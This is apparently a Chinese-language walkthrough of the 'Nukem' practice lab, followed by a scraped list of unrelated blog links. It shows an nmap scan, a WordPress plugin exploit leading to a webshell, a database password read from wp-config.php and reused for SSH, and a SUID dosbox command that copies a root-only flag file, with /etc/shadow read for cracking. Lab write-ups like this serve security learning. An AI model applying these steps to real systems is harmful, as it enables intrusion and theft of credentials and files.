nmap 扫描
┌──(root㉿kali)-[~]
└─# nmap -p- -A 192.168.157.105
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-17 12:32 UTC
Nmap scan report for 192.168.157.105
Host is up (0.071s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:6a:f5:d3:30:08:7a:ec:38:28:a0:88:4d:75:da:19 (RSA)
| 256 43:3b:b5:bf:93:86:68:e9:d5:75:9c:7d:26:94:55:81 (ECDSA)
|_ 256 e3:f7:1c:ae:cd:91:c1:28:a3:3a:5b:f6:3e:da:3f:58 (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Unix) PHP/7.4.10)
|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.10
|_http-generator: WordPress 5.5.1
|_http-title: Retro Gamming – Just another WordPress site
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '192.168.251.157' is not allowed to connect to this MariaDB server
5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.8.5)
|_http-title: 404 Not Found
|_http-server-header: Werkzeug/1.0.1 Python/3.8.5
13000/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Login V14
36445/tcp open netbios-ssn Samba smbd 4.6.2
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=11/17%Time=6739E2AC%P=x86_64-pc-linux-gnu%
SF:r(NULL,4E,"J\0\0\x01\xffj\x04Host\x20'192\.168\.251\.157'\x20is\x20not\
SF:x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (90%), Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:3.13 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 4.15 - 5.8 (90%), Linux 5.0 - 5.4 (90%), Linux 5.3 - 5.4 (89%), Linux 5.0 (88%), Linux 2.6.32 (87%), Linux 5.0 - 5.5 (87%), Crestron XPanel control system (86%), Linux 3.13 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 70.35 ms 192.168.45.1
2 70.33 ms 192.168.45.254
3 71.17 ms 192.168.251.1
4 71.73 ms 192.168.157.105 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.12 seconds

发现wp plugin存在插件漏洞https://www.exploit-db.com/exploits/48979

成功上传webshell之后我们发现不论怎么反弹shell都弹不回来

这点卡了有点久

后来绝对应该是思路错了换个方向 我们查看wp-config.php 看到数据库的密码 和数据库用户 再看看/etc/passwd发现都有commander用户

猜测ssh commander的用户密码也是数据库密码

/** MySQL database username /

define( 'DB_USER', 'commander' );

/
* MySQL database password */

define( 'DB_PASSWORD', 'CommanderKeenVorticons1990' );

发现wget 不了 估计是ufw防火墙做设置了 用scp 上传我们的脚步pspy64 和linea



ssh连接成功

发现suid提取

dosbox 具有任意文件读取和任意文件写入

我们读取到了/etc/shadow文件 并爆破root密码爆破不出来

而且这个命令在linux上用就算创建的文件名是小写也会全部变成大写

先投机取巧一下读取个读个/root/proot.txt的flag

dosbox -c 'mount c /' -c "copy c:\root\proof.txt c:\tmp\aaDD" -c exit

cat /tmp/AADD

看了答案发现其实是可以直接调用图形化的dosbox的但是我们是ssh 连的shell没有图形化界面

要用vnc连接就好了 但是由于我们是vps连的靶机vps就是个终端本来就没有图形化界面所以接没搞了

大思路知道就好

Nukem pg walkthrough Intermediate的更多相关文章

  1. 简析服务端通过GT导入SHP至PG的方法

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...

  2. Bootstap datetimepicker报错TypeError: intermediate value

    Bootstrap datetimepicker有多个版本,官方的链接中,只是datepicker,没有时间的选择,原版的datetimepicker也不再更新,不能用新版的jquery.现在http ...

  3. PG 中 JSON 字段的应用

    13 年发现 pg 有了 json 类型,便从 oracle 转 pg,几年下来也算比较熟稔了,总结几个有益的实践. 用途一:存储设计时无法预料的文档性的数据.比如,通常可以在人员表准备一个 json ...

  4. pg gem 安装(postgresql94)

    使用下面命令安装报错 gem install pg 错误: [root@AS-test middle_database]# gem install pgBuilding native extensio ...

  5. #pg学习#postgresql的安装

    1.按照官网给的步骤编译安装(Mac安装是比较容易的,相比Liunx) cd /Users/renlipeng/Desktop/postgresql-9.5.1 ./configure --prefi ...

  6. PG 函数的易变性(Function Volatility Categories)

    此概念的接触是在做分区表的时候碰到的,分区表按时间字段分区,在查询时当where条件中时间为now()或者current_time()等时是无法查询的,即使进行格式转换也不行,只有是时间格式如‘201 ...

  7. c++错误——intermediate.manifest : general error c1010070很傻的错

    .\Debug\sadf.exe.intermediate.manifest : general error c1010070: Failed to load and parse the manife ...

  8. mysql 序列与pg序列的比较

    mysql序列(这里只谈innodb引擎): 在使用mysql的AUTO_INCREMENT时,使用AUTO_INCREMENT的字段必须建有索引,也可以为索引的一部分.当没有索引时会报错:      ...

  9. 使用zfs进行pg的pitr恢复测试

    前段时间做了一下zfs做pg的增量恢复测试,mark一下. 服务器信息: 主机:192.168.173.43 备机:192.168.173.41 主备使用流复制搭建,在备机上面进行了zfs快照备份. ...

  10. PG CREATEINDEX CONCURRENTLY

    PG CREATEINDEX CONCURRENTLY [TOC] 官方说法 根据9.1的文档 Creating an index can interfere with regular operati ...

随机推荐

  1. 低功耗4G模组Air780E快速入门:使用文件系统存储温湿度数据

    ​ 伙伴们,今天我们来学习合宙低功耗4G模组Air780E快速入门之使用文件系统存储温湿度数据. 一.编写脚本 1.1 准备资料 780E开发板购买链接 780E开发板设计资料 LuatOS-Air7 ...

  2. zinxV0.1

    基础的server 框架 抽象层IServer.go IServer.go type IServer interface { // 实现一个服务器的基本三个接口,启动,停止,入口 Start() St ...

  3. 理解Flink之一编译Flink-1.11.1

    下载源码 git clone -b release-1.11.1 https://github.com/apache/flink.git --depth=1 flink-1.11.1 编译 mvn c ...

  4. Lambda【1】-- List相关Lambda表达式使用(上篇)

    Lambda在jdk1.8里面已经很好用了,在这里不讲底层的实现,只有简单的用法,会继续补全. 首先一个list我们要使用lambda的话,需要使用它的stream()方法,获取流,才能使用后续的方法 ...

  5. 十亿手机号去重-BitSet

    思路:使用Java自带BitSet函数,将手机号分为两段(15555555555 -> 155+55555555) public class demo { public static void ...

  6. nginx部署vue项目刷新页面404

    location / { root ./html/dist/; index index.html; try_files $uri $uri/ /index.html; } 添加红色配置

  7. 【Amadeus原创】docker安装TOMCAT,并运行本地代码

    1,docker 下载tomcat [root@it-1c2d ~]# docker pull tomcat ... [root@it-1c2d ~]# docker images REPOSITOR ...

  8. ChatGPT生成测试用例的最佳实践(四)

    通常情况下还应该进行测试用例外部评审.将已完成的基于百度关键字搜索业务的功能和安全测试用例集的存放位置告知项目团队成员,需要预留出一定的时间,便于项目组研发.产品人员阅读,以免在项目团队测试用例评审会 ...

  9. 【微软】微软程序注册(zfile自建API)

    Zfile支持设置自己的回调地址,怎么设置呢? 参考:https://docs.zfile.vip/advanced/onedrive-api/ 上面文档写的很清楚了,我提醒两点 1.进入 https ...

  10. 【C#】【平时作业】习题-11-ADO.NET

    选择题 1.下列ASP.NET语句(B)正确地创建了一个与mySQL数据库和服务器的连接. A.SqlConnection con1 = new Connection("Data Sourc ...